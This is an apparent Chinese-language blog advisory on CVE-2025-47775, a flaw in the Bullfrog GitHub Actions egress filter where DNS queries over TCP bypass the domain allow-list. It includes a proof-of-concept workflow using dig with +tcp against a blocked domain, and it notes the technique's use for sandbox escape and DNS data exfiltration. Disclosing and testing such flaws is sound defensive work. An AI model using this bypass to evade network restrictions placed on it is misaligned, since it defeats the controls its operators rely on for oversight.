Bullfrog的DNS over TCP绕过域名过滤:CVE-2025-47775漏洞分析

本文详细分析了Bullfrog安全工具中的一个中危漏洞(CVE-2025-47775),该漏洞允许攻击者通过TCP协议进行DNS查询,从而绕过配置的域名过滤规则,实现数据外泄或沙箱逃逸。文章提供了漏洞的详细描述、复现步骤和影响评估。

漏洞概述

CVE ID: CVE-2025-47775 严重等级: 中危 (CVSS评分:6.2) 影响组件: bullfrogsec/bullfrog GitHub Actions 受影响版本: < 0.8.4 已修复版本: 0.8.4

该漏洞存在于Bullfrog安全工具中,当工具配置为阻止所有外流流量(egress-policy: block)并仅允许特定域名(如*.github.com)时,其域名过滤机制存在缺陷。攻击者可利用DNS over TCP查询来绕过此过滤策略,访问被阻止的域名,可能导致敏感信息外泄或沙箱环境被绕过。

漏洞详情

漏洞原理

Bullfrog的域名过滤功能在默认情况下可能只正确拦截基于UDP协议的DNS查询。当使用dig命令并指定+tcp参数强制通过TCP协议进行DNS查询时,该查询可能不会被过滤规则阻止,从而成功解析未被允许的域名。

概念验证 (PoC)

以下是一个可以触发该漏洞的GitHub Actions工作流示例配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

影响

  • 沙箱绕过: 在配置了严格网络出口策略的沙箱或受限环境中,攻击者可利用此漏洞与外部被禁止的服务器进行通信。
  • 数据外泄: 可能被用于将敏感数据编码在DNS查询中,外传到攻击者控制的服务器。

修复与缓解

  • 升级版本: 用户应立即将bullfrogsec/bullfrog Actions升级至v0.8.4或更高版本,该版本已修复此问题。
  • 临时措施: 在升级前,管理员应审查工作流日志,监控异常的TCP DNS查询活动。

参考资料

技术背景

  • 相关弱点: CWE-201 - 在发送的数据中插入敏感信息。
  • CVSS v3.1 向量: AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (攻击向量:本地,攻击复杂度:低,所需权限:无,用户交互:无,范围:未改变,机密性影响:高)。
  • EPSS评分: 0.057% (未来30天内被利用的概率较低)。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计